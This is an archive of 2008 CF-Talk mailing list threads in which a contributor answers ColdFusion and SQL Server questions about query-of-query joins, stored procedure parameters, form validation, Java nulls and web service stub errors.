Why is the mergedColumnsQuery included in the from clause? You are not using any of its columns in the select clause, nor are you filtering it in the where clause. Not only, but you again have not specified any join criteria to join it to the query query. (perhaps there's a better name for that one). You do not need to have the mergedColumnsQuery query in the from list to do the valuelist() stuff. ~Brad -Original Message- From: Richard White [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 01, 2008 11:38 AM To: CF-Talk Subject: Re: query of query timing out i am getting the exact same problem with the following query but cannot see why it is taking so long and what is missing - would also appreciate your help with this one: cfquery name= dbtype=query select query.subjectID,query.projectID,query.testOccasionID,query.subjectHeight ,query.subjectWeight from query, mergedColumnsQuery where query.subjectID NOT IN (#ValueList(mergedColumnsQuery.subjectID)#) and query.projectID NOT IN (#ValueList(mergedColumnsQuery.projectID)#) and query.testOccasionID NOT IN (#ValueList(mergedColumnsQuery.testOccasionID)#) /cfquery ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308392 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: (ot) MS SQL Server
16, is the size of the text pointer which points to another storage location where the actual text is stored. I'm not sure why it would tell you that the data will be truncated since a text field should hold far more than 8000 characters. Perhaps it is a just-in-case message. Are you on SQL Server 2000? If you are on 2005, the varchar(max) is much better than text. ~Brad -Original Message- From: Ian Skinner [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 01, 2008 11:41 AM To: CF-Talk Subject: (ot) MS SQL Server If I convert an column in a table that is curently a type of 'varchar(8000)' to a type of 'text(16)', does this truncate the data? I'm using Enterprise manager, when I put the conversion in, I note I can not change the size, so I presume that text is always size '16' and that this references the rest of the text however MS SQL Server handles this data type. When I do this, I get the 'data could be truncated' message. Is this just a proforma message, or am I possible not setting this up properly so that there is enough space for the current data in the field. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308393 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: query of query timing out
Glad it's working for you. I really wish QofQ would support the INNER JOIN table_name tn ON tn.column_name = syntax. To me, it is a lot easier to visually see how each table is being tied into the results. I have seen an incomplete join bring down the server when two large tables were joined together with no criteria. Like Jochem said, that is a Cartesian join, which means EVERY POSSIBLE combination of records from both tables will be returned. Let's say you join two tables together that both have only 1,000 records. You're going to get 1,000,000 records back. This effect grows exponentially. ~Brad -Original Message- From: Richard White [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 01, 2008 12:13 PM To: CF-Talk Subject: Re: query of query timing out ok thanks brad, i have taken it out of the from list, you learn something new everyday i hadnt realised that by putting that in there that it would think that i am joining it, even if i had not specified any columns from that query but would still attempt to join it. to be honest i thought i needed it to do the valuelist stuff as you said. it has sped it up thanks. you stated that i hadnt added any join clauses but as i think you guessed there was not meant to be a join thanks brad ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308397 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: left outer join on query of query function
This is off the top of head, but what if you did: where not (queryA.ID1 in #valuelist(queryB.id1)# and queryA.ID2 in #valuelist(queryB.id2)# and queryA.ID3 in #valuelist(queryB.id3)#) That way the valuelists are done together as a group, and then the not applies to all of them combined. Does that even make sense? ~Brad ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308406 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: left outer join on query of query function
Maybe I should back up and make sure I understand what it is you want. What you have written is a left outer join, but what you described was a right outer join. If you want the records in query B which do not exist in query A, then you need to flip flop, Query B needs to be in your FROM clause and Query A needs to be in the value list stuff. Here is a simple example I just tried that seems to work fine for me. cfquery datasource=your_datasource name=queryA SELECT 11 AS ID1, 21 AS ID2, 31 AS ID3, 'exists in both' as description UNION SELECT 12, 22, 32, 'exists in both' UNION SELECT 13, 23, 33, 'exists only in A' UNION SELECT 14, 24, 34, 'exists only in A' /cfquery cfquery datasource=your_datasource name=queryB SELECT 11 AS ID1, 21 AS ID2, 31 AS ID3, 'exists in both' as description UNION SELECT 12, 22, 32, 'exists in both' UNION SELECT 15, 25, 35, 'exists only in B' UNION SELECT 16, 26, 36, 'exists only in B' /cfquery cfquery dbtype=query name=qry_left_outer SELECT * FROM queryB WHERE NOT (queryB.ID1 in (#valuelist(queryA.id1)#) and queryB.ID2 in (#valuelist(queryA.id2)#) and queryB.ID3 in (#valuelist(queryA.id3)#)) /cfquery cfdump var=#qry_left_outer# ~Brad -Original Message- From: Richard White [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 01, 2008 2:13 PM To: CF-Talk Subject: Re: left outer join on query of query function Hi Brad, i thought that would work but not producing the result as expected, it still returns no rows on 2 queries where i know queryb has 15 rows that are not in querya therefore it should be returning those 15 but is not thanks ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308412 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: left outer join on query of query function
Ok, good luck. Note: I had to fiddle a little bit for my example to work. For instance, there needed to be () around the output of the valuelist etc, but I assumed that had been omitted in your post as an oversight or for simplicity. You can start by dumping your two queries and visually confirming that what you think exists in them actually does. ~Brad -Original Message- From: Richard White [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 01, 2008 3:14 PM To: CF-Talk Subject: Re: left outer join on query of query function thanks for the description brad, yes sorry i wrote it wrong they do exists in query a and not in query b so i want to find those that exist in querya and not in query b. however your example is quite detailed and shows that the 'where not ()' clause should do the trick so there must be something else i am missing either in my code or previous outputs. i will output everything slowly to see why it is not returning the rows as expected thanks again for your help ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308414 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Stored Procedure Not Working
Hmm, right off the bat, I don't think the browser would make any difference unless you have ColdFusion code that behaves differently depending on the browser. Perhaps something is being cached. Since getdate is the name of a function, maybe you should call your proc something else. Regardless, if appears your data types are mixed up. Your proc params list the date first and the varchar second, but the proc has the varchar first and the date second. ~Brad -Original Message- From: Phillip Vector [mailto:[EMAIL PROTECTED] Sent: Tuesday, July 01, 2008 4:52 PM To: CF-Talk Subject: Stored Procedure Not Working I have a MS SQL database and I have a stored procedure I'm trying to call with the following code.. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308431 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Stored Procedure Not Working
Named parameters didn't work in CF7. There was a Hotfix that made them work but I don't think it was ever part of the 7.0.1 or 7.0.2 release. I don't know if it made it into CF 8 or not. Chances are ColdFusion was defaulting to the usual practice of going off the order of the proc param tags. FWIW, running a trace on the database while you made the call would probably have shown the inputs going in the wrong place. ~Brad -Original Message- From: Phillip Vector [mailto:[EMAIL PROTECTED] I didn't know that it needs to be the same order. I switched it and it's working now. Thanks. :) ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308436 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: use of IN operator in CFIF tag
This page basically shows you everything you can use in a cfif http://livedocs.adobe.com/coldfusion/7/htmldocs/0928.htm You are probably looking for the contains operator. CFIF isDefined(FullName) and FullName contains Jr. ~Brad -Original Message- From: Roberto Perez [mailto:[EMAIL PROTECTED] Sent: Monday, June 30, 2008 3:48 PM To: CF-Talk Subject: use of IN operator in CFIF tag Hi all, Is it possible to use IN (or a similar syntax) as part of a CFIF tag? Let's say that I have a variable (FullName) and I want to know if that string includes the contraction Jr., for instance. I know I cannot have: CFIF isDefined(FullName) and FullName IN Jr. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308343 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: submitting a form
A bot? It is possible to spoof anything in an HTTP request to your server. For instance, I could fire up MS Fiddler and build an HTTP POST that looked just like it came from your form but leave whatever fields I wanted blank. Don't ever trust client-side anything. ~Brad -Original Message- From: Claude Schneegans [mailto:[EMAIL PROTECTED] Is there some other way to submit a form that will not trigger a click on the submit button that I didn't think of ? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308247 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Where Do You Put Your Error Checking Code?
Only if you call that server-side validation a second time after the form is submitted to the server. ~Brad -Original Message- From: Sonny Savage [mailto:[EMAIL PROTECTED] I recently wrote some form validation. I the validation was done in CF but was done through an AJAX call when JS was available. I feel this is the best of both worlds. The end-user gets nice JS interaction when available and the validation is written only ONE time on the server-side where it can't be circumvented. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308259 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Where Do You Put Your Error Checking Code?
Ahh, I see. You are doing validation and processing with a single Ajax call on the server if JS is supported. That would work well. ~Brad -Original Message- From: Sonny Savage [mailto:[EMAIL PROTECTED] Sent: Friday, June 27, 2008 3:55 PM To: CF-Talk Subject: Re: Where Do You Put Your Error Checking Code? If the data is valid it is saved and the client is redirected. Without JS the form is submitted normally and goes through the same validation. Edward A Savage Jr - Sonny Senior Software Engineer Creditdiscovery, LLC An appeaser is one who feeds a crocodile, hoping it will eat him last. ~ Sir Winston Churchill On Fri, Jun 27, 2008 at 4:41 PM, Brad Wood [EMAIL PROTECTED] wrote: Only if you call that server-side validation a second time after the form is submitted to the server. ~Brad ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308262 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: String format issue
Hmmm, that doesn't seem right. What version of CF are you on? Is it save to assume the insert and select you showed are inside of a cfquery tag? If so, cfquery automatically escapes single ticks (which is a very handy anti-SQL inject feature). Are you by change building this SQL in a cfsavecontent and then passing it to the database? ~Brad -Original Message- From: Roberto Perez [mailto:[EMAIL PROTECTED] Sent: Friday, June 27, 2008 3:59 PM To: CF-Talk Subject: String format issue Hi all, I do not know what keywords I could use to investigate this in the archives, so I'll describe the issue and hopefully you'll be able to tell be if this topic has been covered before. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308263 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Where Do You Put Your Error Checking Code?
I am for keeping unnecessary business logic out of the database, but I am still a proponent of enforcing data types and foreign key constraints at the database level. ~Brad -Original Message- From: Ian Rutherford [mailto:[EMAIL PROTECTED] Sent: Friday, June 27, 2008 4:38 PM To: CF-Talk Subject: Re: Where Do You Put Your Error Checking Code? So for the most part you would keep your business logic out of the database and take care of that in CFCS / cfm / ajax logic before hand? ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308266 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: variables.whatever isn't defined in CFC
Ian, have you focused your search in the /adminCFCs/couponWrapper.cfc file since that appears to be where ColdFusion found the Attribute validation error for the CFCOOKIE tag? Is there a stack trace that accompanies the error message that gives you any hints? Perhaps you could go through the couponWrapper.cfc file and check for any included files which might contain cookie logic. If you are using Eclipse it will usually collapse sections of code for you automatically so it may not be visible. (Right click, expand all) ~Brad On Wed, Jun 25, 2008 at 11:42 AM, Ian Rutherford [EMAIL PROTECTED] wrote: I have it one file in the project but it isn't being called on these pages. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308128 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: More Funky Email Address Validation Stuff
Read this: http://haacked.com/archive/2007/08/21/i-knew-how-to-validate-an-email-ad dress-until-i.aspx ~Brad ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308136 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: CF tags in CFFILE write
In ColdFusion, you need to wrap a variable in pound signs (#) for its
value to be output.
cfoutput
CFLOOP from=1 to=#toloop# index=Loop
var lat[#Loop#] = {latitude};
/CFLOOP
/cfoutput
-Original Message-
From: Rick Sanders [mailto:[EMAIL PROTECTED]
Sent: Wednesday, June 25, 2008 12:55 PM
To: CF-Talk
Subject: RE: CF tags in CFFILE write
Well,
The tag worked, but it doesn't write the row number in the loop, it just
writes [loop].
CFLOOP from=1 to=#toloop# index=Loop
var lat[Loop] = {latitude};
/CFLOOP
Within the cfsavecontent, how can I make the row number show up in the
loop
when I define it?
~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j
Archive:
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308138
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: CF tags in CFFILE write
You'll notice my example also has cfoutput tags wrapped around it.
Does yours?
~Brad
-Original Message-
From: Rick Sanders [mailto:[EMAIL PROTECTED]
Sent: Wednesday, June 25, 2008 1:07 PM
To: CF-Talk
Subject: RE: CF tags in CFFILE write
Hey Brad,
Thanks for the tip but I tried that already. It just outputs [#Loop#] in
the
file I'm writing.
I am in a cfsavecontent block btw.
-Original Message-
From: Brad Wood [mailto:[EMAIL PROTECTED]
Sent: June-25-08 3:02 PM
To: CF-Talk
Subject: RE: CF tags in CFFILE write
In ColdFusion, you need to wrap a variable in pound signs (#) for its
value to be output.
cfoutput
CFLOOP from=1 to=#toloop# index=Loop
var lat[#Loop#] = {latitude};
/CFLOOP
/cfoutput
-Original Message-
From: Rick Sanders [mailto:[EMAIL PROTECTED]
Sent: Wednesday, June 25, 2008 12:55 PM
To: CF-Talk
Subject: RE: CF tags in CFFILE write
Well,
The tag worked, but it doesn't write the row number in the loop, it just
writes [loop].
CFLOOP from=1 to=#toloop# index=Loop
var lat[Loop] = {latitude};
/CFLOOP
Within the cfsavecontent, how can I make the row number show up in the
loop
when I define it?
~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j
Archive:
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308141
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: CF tags in CFFILE write
Whoa, I think it's time for a coffee break... :) -Original Message- From: Rick Sanders [mailto:[EMAIL PROTECTED] Been looking at this code for 9 hours straight now. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308143 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: deploying and using jar files
Nicely done. I am curious though, how did it manage to work on the Linux server? ~Brad -Original Message- From: Doug Boude (rhymes with 'loud') [mailto:[EMAIL PROTECTED] Sent: Wednesday, June 25, 2008 5:44 PM To: CF-Talk Subject: Re: deploying and using jar files Ah, as it turns out, it IS as simple as dropping the jar files into the /lib directory. The issue was that there was a supporting jar file that the client failed to give me (and tell me about in the first place), as well as a .properties file that needed to live in my WEB-INF\classes directory. Those pesky clients. They're just rascals, aren't they? :) Doug ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308155 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
Java NULL in CF
What's the best way to test for a Java NULL in CF? For instance, the following code: cfset my_url = createobject(java,java.net.URL).init(http://www.yahoo.comy;) cfdump var=#my_url#br / getpathcfdump var=#my_url.getpath()#br / getauthoritycfdump var=#my_url.getauthority()#br / getfilecfdump var=#my_url.getfile()#br / getquerycfdump var=#my_url.getquery()#br / gethostcfdump var=#my_url.gethost()#br / getprotocolcfdump var=#my_url.getprotocol()#br / getportcfdump var=#my_url.getport()#br / getDefaultPortcfdump var=#my_url.getDefaultPort()#br / getRefcfdump var=#my_url.getRef()#br / getUserInfocfdump var=#my_url.getuserinfo()#br / will blow up because getref() and getuserinfo() return null. Should I just set the output of each of those methods into a variable, and then check for the variables existence? Thanks. ~Brad ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308058 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Java NULL in CF
Thanks Barney. I did dig up a little snippet of help while Googling. The trim() and len() functions will accept a null and return an empty string and 0 respectively. #trim(Obj.i_return_null())# returns empty string #len(Obj.i_return_null())# returns 0 Thanks. ~Brad -Original Message- From: Barney Boisvert [mailto:[EMAIL PROTECTED] Yeah, using structKeyExists or isDefined is what you have to do. Kind of annoying, but such is life. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308066 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Java NULL in CF
Thanks Pete.
Exactly what class is horus.coldfusion.undefined? If my attached you
mean that you literally attached something to the E-mail, that won't
work.
Send it off list if you would or post a link.
Thanks.
~Brad
-Original Message-
From: Pete Jordan [mailto:[EMAIL PROTECTED]
Sent: Tuesday, June 24, 2008 12:35 PM
To: CF-Talk
Subject: Re: Java NULL in CF
Brad Wood wrote:
What's the best way to test for a Java NULL in CF?
Should I just set the output of each of those methods into a variable,
and then check for the variables existence?
That'll work.
cfset path=my_url.getpath()/
cfif isdefined('path') !--- ... --- /cfif
We use a little Java class to tidy this (amongst other things) up that
I've attached - with luck the houseoffusion mailing list software will
leave it intact.
~|
Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to
date
Get the Free Trial
http://ad.doubleclick.net/clk;203748912;27390454;j
Archive:
http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:308069
Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm
Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: page self refresh whenever database gets new input
This may be a hand grenade for your ant, but I've got to throw it out there since no one else has. Flex LiveCycle Data Services (http://www.adobe.com/products/livecycle/dataservices/) allows the server to push messages to the client which means a users page could refresh data without having to be refreshed or poll the server. I'm not sure how they do it, but it might be similar to how SeeFusion's Flex interface will stream data to the client indefinitely by keeping a TCP connection open and pushing XML down the pipe. ~Brad -Original Message- From: anthony tran [mailto:[EMAIL PROTECTED] Sent: Friday, June 20, 2008 10:24 PM To: CF-Talk Subject: page self refresh whenever database gets new input Hi, I'm having a system that has two different consoles one for people input data, and other for people view data. One isn't connected to the other. Meaning, they work separatedly but at the same time. If there is a new input, then the new input will show on the diplay console right away, no need to hit any key nor button to refresh the page. The idea similar to MS Outlook. Whenever a new mail comes, it just shows up by itself. Or just like a stock reports with live feeding. Is there any way to do this in cold fusion ? Database is MS Access. Thanks Anthony ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307959 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Why do I need getters/setters?
The theory behind getters and setters is abstraction. You are not supposed to deal with the data directly nor are you supposed to know how the data is stored and how the object works. You create an object and let it do the work for you. Getters and Setters hide implementation details of the object from the user. They don't always have to be a simple example. What about a getter called getNextToLastItem(). Does the object store the items as a list, an array, or a struct? If you use the getter, you don't have to know, nor will your code become dependant upon the implantation of the CFC. There are several theories on getters and setters, and not everyone agrees on their usefulness. I've found some of the more advanced levels of Object Orientedness seem to lose their value, the smaller your programming team is. For instance, if you are responsible for writing the CFC AND using it, you have to know its inner workings anyway so abstraction might not be that big of a deal to you. (Not to say it still couldn't provide usefulness at some level). Regardless, design patters (like getters and setters) do not exist because your code will not work otherwise. They exist to accommodate and encourage good coding practices. YMMV. ~Brad -Original Message- From: Will Tomlinson [mailto:[EMAIL PROTECTED] Sent: Monday, June 23, 2008 11:46 AM To: CF-Talk Subject: Why do I need getters/setters? I'm just not understanding why I'd need a getter and a setter in my cfc. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307975 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
RE: Odd results with error - ideas?
I think your problem may stem from the old behavior of ColdFusion query columns guessing what type they are based on values in the first several rows. If the first few records lead CF to believe that a column is an integer, things can blow up later when it encounters letters in that column. If the data in the column differs based on the search criteria that can lead to occasional errors. Please show us the code that creates the q_atty variable. If you are using querynew() and you are on CF7 or later, use the second attribute which is a comma-separated list of data types. ~Brad -Original Message- From: Les Mizzell [mailto:[EMAIL PROTECTED] Sent: Monday, June 23, 2008 1:44 PM To: CF-Talk Subject: Re: Odd results with error - ideas? I am not sure why you would put both an integer and UUID in the same column The former owner of the database had an id (integer - auto increment) column, and an atty_id column that had integers in it, but was type varCHAR. No idea why he did that. In reprogramming the site, I had no choice but to keep the data structure, but the varCHAR field was already set large enough to hold a UUID - so I switched to UUID's at that point. This shouldn't make any difference that I can see. cfset myQueryMeta = getMetaData(q_atty) cfdump var=#myQueryMeta # It's coming out of the original query from the database as varCHAR, as it should be. So, it should be going into the query object as varCHAR too, correct? especially since you are attempting to perform a sort later on the same colums. I'm not doing a sort on the atty_id column. Just the calculated keyCOUNT value (total number of times the search term appears in a particular field), then first_name, last_name. What I don't understand at all, is that some searches that return a small amount of results work fine. A larger returned set of results, that could contain the SAME results from the smaller search, will error on the atty_id field or a record it didn't error on in the previous search. If it *always* errored on the atty_id field when it was a UUID, I'd have a better understanding of what was going on. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307987 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: Odd results with error - ideas?
Yeah, change this line here: cfset q_atty = queryNew(atty_id, first_name, middle_name, last_name, suffix, atty_type, bus_number, office_id, keyCOUNT) Read up here: http://livedocs.adobe.com/coldfusion/7/htmldocs/0600.htm Change the line to: cfset q_atty = queryNew(atty_id, first_name, middle_name...,varchar,varchar,varchar...) See if that helps keep ColdFusion straight. (Again, note this was added in CF7) ~Brad -Original Message- From: Les Mizzell [mailto:[EMAIL PROTECTED] Sent: Monday, June 23, 2008 1:57 PM To: CF-Talk Subject: Re: Odd results with error - ideas? Brad Wood wrote: I think your problem may stem from the old behavior of ColdFusion query columns guessing what type they are based on values in the first several rows. Ugly because of line breaks, but here ya go: ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307990 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=89.70.4
WSDL2Java DuplicateFileException error
Ok, here's a nice one. One of my coworkers is running into this problem when he tries to invoke a ColdFusion web service he wrote. He didn't have any problems on our dev environment, but the test environment is puking out. Unfortunately, Dev is CF7 Ent and test is CF7 standard. Not that it SHOULD make any difference... Before I start pasting in miles of indecipherable code, I wanted to see if anyone has gotten this dreaded org.apache.axis.wsdl.toJava.DuplicateFileException error before and can help. I have Googled, and there seem to be NO results related to ColdFusion out there, and the results I did find were instances where people were creating their own WSDL which is obviously not the case here. Let me know what additional information might help figure this out-- like the names of the methods in the web service, etc. Also, I have manually deleted those stub files, cleared the template cache and restarted the server to no avail. Thanks. ~Brad Could not generate stub objects for web service invocation. Name: http://testtempest.nationsts.com/webservices/integrations/FNC/AppraisalPort/appraisalPort.cfc?wsdl. WSDL: http://testtempest.nationsts.com/webservices/integrations/FNC/AppraisalPort/appraisalPort.cfc?wsdl. org.apache.axis.wsdl.toJava.DuplicateFileException: Duplicate file name: /opt/coldfusionmx7/stubs/WS-1435972790/webservices/integrations/FNC/AppraisalPort/AppraisalPort.java. Hint: you may have mapped two namespaces with elements of the same name to the same package name. It is recommended that you use a web browser to retrieve and examine the requested WSDL document for correctness. If the requested WSDL document can't be retrieved or it is dynamically generated, it is likely that the target web service has programming errors. ~| Adobe® ColdFusion® 8 software 8 is the most important and dramatic release to date Get the Free Trial http://ad.doubleclick.net/clk;203748912;27390454;j Archive: http://www.houseoffusion.com/groups/CF-Talk/message.cfm/messageid:307840 Subscription: http://www.houseoffusion.com/groups/CF-Talk/subscribe.cfm Unsubscribe: http://www.houseoffusion.com/cf_lists/unsubscribe.cfm?user=11502.10531.4
RE: WSDL2Java DuplicateFileException error
